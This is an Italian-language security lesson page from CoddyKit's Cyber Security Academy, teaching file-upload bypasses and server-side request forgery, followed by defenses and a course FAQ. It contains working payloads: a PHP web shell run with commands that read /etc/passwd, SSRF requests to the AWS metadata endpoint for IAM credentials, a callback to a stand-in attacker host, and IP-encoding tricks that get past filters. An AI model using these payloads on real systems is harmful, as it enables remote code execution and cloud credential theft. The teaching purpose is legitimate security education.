Vulnerabilità di caricamento file e SSRF
Aggirate le restrizioni sul caricamento dei file, sfruttate le SSRF per accedere ai servizi interni e concatenate le vulnerabilità.
Vulnerabilità di caricamento file e SSRF è una lezione Cyber Security Academy gratuita su CoddyKit. Questa è la lezione 4 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento Cyber Security Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso Cyber Security Academy include 4 lezioni in totale.
Vulnerabilità del caricamento dei file
La funzionalità di caricamento dei file è una delle caratteristiche a maggior rischio nelle applicazioni web. Una validazione insufficiente consente di caricare file eseguibili (PHP, JSP, ASPX) che il server esegue, provocando l'esecuzione remota di codice.
Bypass di base del caricamento: filtro delle estensioni
I filtri delle estensioni lato client e basati su blacklist possono essere aggirati. Provi con: doppie estensioni (.php.jpg), variazioni tra maiuscole e minuscole (.PhP), byte nulli (file.php%00.jpg) ed estensioni alternative (.php5, .phtml, .phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerBypass del tipo MIME
I server verificano spesso l'header Content-Type, non il contenuto effettivo del file. Intercetti la richiesta di caricamento in Burp e modifichi Content-Type da application/x-php a image/jpeg.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>Bypass dei magic byte
Alcuni server verificano i magic byte del file, ovvero i primi byte. Anteponendo magic byte validi di un'immagine al payload PHP è possibile superare il controllo mantenendo il contenuto eseguibile.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Web shell dopo il caricamento
Una volta caricato un file PHP/JSP e reso accessibile tramite URL, lo richiami per eseguire comandi. La web shell più semplice è:
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdChe cos'è una SSRF
La Server-Side Request Forgery (SSRF) induce il server a effettuare richieste HTTP verso URL arbitrari per conto dell'attaccante. In questo modo è possibile accedere a servizi interni, API dei metadati cloud e interfacce di amministrazione interne.
Rilevamento di base della SSRF
Individui i parametri che accettano URL (webhook, URL di anteprima, endpoint di recupero e URL di immagini). Inserisca indirizzi interni e osservi le risposte: timeout, connessione rifiutata o risposta valida indicano quali risorse sono accessibili.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/API dei metadati AWS tramite SSRF
Il servizio Instance Metadata Service (IMDS) di AWS, disponibile all'indirizzo 169.254.169.254, espone le credenziali dei ruoli IAM. Una SSRF verso questo endpoint può sottrarre credenziali cloud che consentono la compromissione completa dell'account.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}SSRF blind
Quando il corpo della risposta non viene riflesso, utilizzi tecniche fuori banda: una ricerca DNS verso Burp Collaborator conferma la connettività; una callback HTTP con dati nel percorso esfiltra informazioni.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testTecniche di bypass della SSRF
I filtri che bloccano gli indirizzi IP interni più evidenti possono essere aggirati con: codifica dell'IP (decimale 0x7f000001 = 127.0.0.1), DNS rebinding, indirizzi di loopback alternativi (127.1, 0.0.0.0) e reindirizzamento degli URL.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostDifese contro il caricamento dei file e la SSRF
Caricamento dei file: consenta solo estensioni sicure tramite allowlist, memorizzi i file al di fuori della web root, li rinomini sul server e li distribuisca tramite CDN. SSRF: utilizzi una allowlist di URL e intervalli IP consentiti, disabiliti le funzioni non necessarie di recupero degli URL e imponga IMDSv2 su AWS.
Verifica rapida
Quale indirizzo IP prende di mira un attacco SSRF per sottrarre le credenziali AWS?
Riepilogo: caricamento dei file e SSRF
I difetti nel caricamento dei file provocano l'esecuzione remota di codice; la SSRF consente l'accesso alla rete interna e il furto di credenziali. Testi i caricamenti con bypass delle estensioni, del tipo MIME e dei magic byte. Verifichi i parametri URL per individuare SSRF prendendo di mira localhost, le subnet interne e le API dei metadati cloud. Entrambi i casi richiedono una difesa a più livelli: allowlist invece di blacklist, segmentazione della rete e hardening del cloud.
Impara Cyber Security Academy con un tutor IA — gratis
Scrivi ed esegui vero codice nel tuo browser, ricevi aiuto istantaneo da un tutor IA disponibile 24/7, e riprendi da dove hai lasciato sul web o nell'app.
- Corsi
- 76
- Lezioni
- 303
Domande Frequenti
La lezione «Vulnerabilità di caricamento file e SSRF» è gratuita?
Sì — il testo completo di «Vulnerabilità di caricamento file e SSRF» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso Cyber Security Academy, passa a CoddyKit PRO. Il corso Cyber Security Academy include 4 lezioni in totale.
Cosa imparerò in «Vulnerabilità di caricamento file e SSRF»?
Aggirate le restrizioni sul caricamento dei file, sfruttate le SSRF per accedere ai servizi interni e concatenate le vulnerabilità. Eserciti Cyber Security Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.
Ho bisogno di esperienza per iniziare Cyber Security Academy?
Non è richiesta alcuna esperienza precedente. Cyber Security Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 4 di 4.
Quanto tempo richiede la lezione «Vulnerabilità di caricamento file e SSRF»?
La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.
Posso scrivere ed eseguire codice in questa lezione Cyber Security Academy?
Sì. Ogni lezione Cyber Security Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.
Tutte le lezioni di questo corso
- Proxy di Burp Suite e intercettazione delle richieste
- Test delle vulnerabilità di injection
- Test di autenticazione e sessione
- Vulnerabilità di caricamento file e SSRF